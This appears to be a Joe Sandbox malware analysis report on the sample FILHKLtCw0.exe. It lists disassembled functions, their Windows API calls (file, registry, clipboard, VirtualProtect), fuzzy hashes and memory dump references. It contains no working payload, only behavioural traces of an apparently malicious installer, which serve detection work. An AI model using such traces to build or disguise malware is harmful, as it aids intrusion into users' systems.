Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: f58656703257d3684848e4558ce263f5efe09ac277fa21959b5ddbdc7fcd416a
Instruction ID: 5d7b52194fecd52e31197542c52f699420a2dcfb6f4997f05ddeecd74f4f3bdc
Opcode Fuzzy Hash: f58656703257d3684848e4558ce263f5efe09ac277fa21959b5ddbdc7fcd416a
Instruction Fuzzy Hash: 70E0863660422066D61057705E44D3763AC9E94704306043EFA46F2041DB78DC32AA6E

Function 00401DDC Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DF2
EnableWindow.USER32(00000000,00000000), ref: 00401DFD

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: bfed12c821a079857a615332bdb98fb1c84882728095731f13ed5530d444e0e9
Instruction ID: 46dfe73b81ae29a5099323896a5bc3e3d9df575198e3285abdeb67f25c429c8d
Opcode Fuzzy Hash: bfed12c821a079857a615332bdb98fb1c84882728095731f13ed5530d444e0e9
Instruction Fuzzy Hash: 76E08C326005009BCB10AFB5AA4999D3375DF90369710007BE402F10E1CABC9C409A2D

Function 00405C2A Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\FILHKLtCw0.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: c97765c4049bc943dbf434cc8e3c5f5e58d45e95167aa4d8b6d1a3ab64a9aeda
Instruction ID: a29eaa7254a97888a18cbfd792fe15e84c6d283973f4e4682f27fdddc38ff468
Opcode Fuzzy Hash: c97765c4049bc943dbf434cc8e3c5f5e58d45e95167aa4d8b6d1a3ab64a9aeda
Instruction Fuzzy Hash: 71D09E71654601AFEF098F20DE16F2E7AA2FB84B00F11562CB682940E0DAB158199B15

Function 00405700 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403293,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405706
GetLastError.KERNEL32 ref: 00405714

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 0964e43d4f51b800c832a37fa1186c7301bf32e9249ac1f93b451144f827c630
Instruction ID: 3f205c5890689a668e8791f8cf6ed098ce3dcc56284ebb1818e0a19aeae2b5ff
Opcode Fuzzy Hash: 0964e43d4f51b800c832a37fa1186c7301bf32e9249ac1f93b451144f827c630
Instruction Fuzzy Hash: DBC04C30225602DADA106F34DE087177951AB90741F1184396146E61A0DA348415E93D

Function 00402786 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 004027A0

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 625ba8c0adf551b09f916d27f71fdaae1f0ecd84ce04db3249cbe24fae782c82
Instruction ID: c5c3fa32fc6d0159c61c67e46e8878479b4609e7a69e49ca0ebb3ecbbe822ed2
Opcode Fuzzy Hash: 625ba8c0adf551b09f916d27f71fdaae1f0ecd84ce04db3249cbe24fae782c82
Instruction Fuzzy Hash: A0E04F71702514EFDB01AFA59E4ACAFBB6AEB40328B14443BF501F00E1DA7D8C019A2D

Function 0040229D Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 004022D4

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 60b22f5a932472850941fcf3cf4ac9c96d80a2104eac916f2d4d26c3cfc5b4d4
Instruction ID: 9c0f32427e9d9ad9a827debec1b0d32512713181f08a0e22f3c826aa7fb996c6
Opcode Fuzzy Hash: 60b22f5a932472850941fcf3cf4ac9c96d80a2104eac916f2d4d26c3cfc5b4d4
Instruction Fuzzy Hash: 90E04F319001246ADB113EF10E8ED7F31695B40314B1405BFB551B66C6D9FC0D4246A9

Function 00402CC9 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,0000046B,00000000,00000022,00000000,?,?), ref: 00402CF1

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: e61a0d233959cf951fd8dee32620159f1f5f2b0e63671ee31e14641033e06cac
Instruction ID: 180cb462b76767e938a43b2c67eaf1f9418a6812eb156052446fd1a81c43fca4
Opcode Fuzzy Hash: e61a0d233959cf951fd8dee32620159f1f5f2b0e63671ee31e14641033e06cac
Instruction Fuzzy Hash: 54E0BF76154108AFDB00DFA5EE46EA977ECAB44704F044025BA09E7191C674E5509768

Function 00405CDC Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040320B,00000000,00416A20,000000FF,00416A20,000000FF,000000FF,00000004,00000000), ref: 00405CF0

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction ID: d2761c75b63c3b5a1b4cb2cfb4b6a55fbed1fd27b7f8bdfe76624f6b99830631
Opcode Fuzzy Hash: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction Fuzzy Hash: 2AE0EC3221425AABDF109E55EC08FEB7B6CEF05360F049437FA55E7190D631E921DBA4

Function 00405CAD Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403255,00000000,00000000,00403079,000000FF,00000004,00000000,00000000,00000000), ref: 00405CC1

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: adecdcd9fe1336769933b3dd03e703e4ef1681debcb31beef277c9a18cd5915e
Instruction ID: 881bd9ca443264ea0180802fa9c86a3c9bfb0e6b132b989af4612487e9445b73
Opcode Fuzzy Hash: adecdcd9fe1336769933b3dd03e703e4ef1681debcb31beef277c9a18cd5915e
Instruction Fuzzy Hash: D1E08632104259ABDF105E518C00AEB376CFB04361F104432F911E3140D630E8119FB4

Function 100027C7 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027E5

Memory Dump Source

Source File: 00000000.00000002.2872673692.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2872653525.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2872698277.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2872715437.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FILHKLtCw0.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 0f6967942ea94a3d6c88e3f350f968197b77ea31d8e69eb9713f4ef8856af232
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 47F0A5F15057A0DEF350DF688C847063BE4E3483C4B03852AE3A8F6269EB344454CF19

Function 0040159B Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015A6

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9f81f92dad3f7a811467f01a8cf18fc77b7af2f5e37f886534bc513ef1489464
Instruction ID: 4fb9e9dd77d4d4fa14caa6284e3e33111a790732df8c0ecbc47c365062d5febc
Opcode Fuzzy Hash: 9f81f92dad3f7a811467f01a8cf18fc77b7af2f5e37f886534bc513ef1489464
Instruction Fuzzy Hash: 4BD05E33B04100DBCB10DFE8AE08ADD77B5AB80338B248177E601F21E4D6B8C650AB1D

Function 0040414E Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00403F7A), ref: 0040415C

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3e4e113e80d15ce5a74be4961f661226ffae6a612218aa542e548efe3475e5a4
Instruction ID: f9280d834dafdcf82d79e279d22eccff0cbc279b2038abc2a2984d0c0ecbec1f
Opcode Fuzzy Hash: 3e4e113e80d15ce5a74be4961f661226ffae6a612218aa542e548efe3475e5a4
Instruction Fuzzy Hash: E3B01235180A00BBDE114B00EE09F857E62F7EC701F018438B340240F0CBB200A0DB08

Function 00403258 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FB5,?,?,?,00000000,0040353A,?), ref: 00403266

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 80da3fb7de925908d89dc6e0e66abe912019b1009effaac14551dbb45b1ebe3e
Instruction ID: 2811e774c662cae59278f25d6ecae3b2a92cb5be3fe339fd2c15133e28e6e099
Opcode Fuzzy Hash: 80da3fb7de925908d89dc6e0e66abe912019b1009effaac14551dbb45b1ebe3e
Instruction Fuzzy Hash: D0B01231140300BFDA214F00DF09F057B21AB90700F10C034B344380F086711035EB4D

Function 1000121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

Memory Dump Source

Source File: 00000000.00000002.2872673692.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2872653525.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2872698277.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2872715437.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FILHKLtCw0.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction ID: 8a0ecea123cfc10dc9c303f5c75fb6a011d4279a03f0c54a853e6fb6a4ccb70c
Opcode Fuzzy Hash: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction Fuzzy Hash: E3B012B0A00010DFFE00CB64CC8AF363358D740340F018000F701D0158C53088108638

Non-executed Functions

Function 004052F3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405351
GetDlgItem.USER32(?,000003EE), ref: 00405360
GetClientRect.USER32(?,?), ref: 0040539D
GetSystemMetrics.USER32(00000002), ref: 004053A4
SendMessageW.USER32(?,00001061,00000000,?), ref: 004053C5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053D6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053E9
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053F7
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040540A
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040542C
ShowWindow.USER32(?,00000008), ref: 00405440
GetDlgItem.USER32(?,000003EC), ref: 00405461
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405471
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040548A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405496
GetDlgItem.USER32(?,000003F8), ref: 0040536F

Part of subcall function 0040414E: SendMessageW.USER32(00000028,?,00000001,00403F7A), ref: 0040415C

GetDlgItem.USER32(?,000003EC), ref: 004054B3
CreateThread.KERNEL32(00000000,00000000,Function_00005287,00000000), ref: 004054C1
CloseHandle.KERNEL32(00000000), ref: 004054C8
ShowWindow.USER32(00000000), ref: 004054EC
ShowWindow.USER32(?,00000008), ref: 004054F1
ShowWindow.USER32(00000008), ref: 0040553B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040556F
CreatePopupMenu.USER32 ref: 00405580
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405594
GetWindowRect.USER32(?,?), ref: 004055B4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405605
OpenClipboard.USER32(00000000), ref: 00405615
EmptyClipboard.USER32 ref: 0040561B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405627
GlobalLock.KERNEL32(00000000), ref: 00405631
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405645
GlobalUnlock.KERNEL32(00000000), ref: 00405665
SetClipboardData.USER32(0000000D,00000000), ref: 00405670
CloseClipboard.USER32 ref: 00405676

Strings

{, xrefs: 00405559

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 6a0fc3a2d5fa7d70d7ffe9782798eb57218c845f869a5f65bcd99de69d398bf2
Instruction ID: bedd14c977596f777f0676ed5d78e17ab23f6a1f4e688fc8743dda88f8352f2f
Opcode Fuzzy Hash: 6a0fc3a2d5fa7d70d7ffe9782798eb57218c845f869a5f65bcd99de69d398bf2
Instruction Fuzzy Hash: 85B15A71900608FFDB11AF60DD89AAE7B79FB48355F00803AFA41BA1A0CB755E51DF58

Function 004045B4 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404603
SetWindowTextW.USER32(00000000,?), ref: 0040462D
SHBrowseForFolderW.SHELL32(?), ref: 004046DE
CoTaskMemFree.OLE32(00000000), ref: 004046E9
lstrcmpiW.KERNEL32(Call,0042D268,00000000,?,?), ref: 0040471B
lstrcatW.KERNEL32(?,Call), ref: 00404727
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404739

Part of subcall function 0040577E: GetDlgItemTextW.USER32(?,?,00000400,00404770), ref: 00405791

Part of subcall function 004062E9: CharNextW.USER32(0040A300,*?|<>/":,00000000,"C:\Users\user\Desktop\FILHKLtCw0.exe",75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 0040634C
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
Part of subcall function 004062E9: CharNextW.USER32(0040A300,"C:\Users\user\Desktop\FILHKLtCw0.exe",75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406360
Part of subcall function 004062E9: CharPrevW.USER32(0040A300,0040A300,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406373

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,00000001,0042B238,?,?,000003FB,?), ref: 004047FC
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404817

Part of subcall function 00404970: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
Part of subcall function 00404970: wsprintfW.USER32 ref: 00404A1A
Part of subcall function 00404970: SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

A, xrefs: 004046D7
Call, xrefs: 00404715, 0040471A, 00404725
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 00404704

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
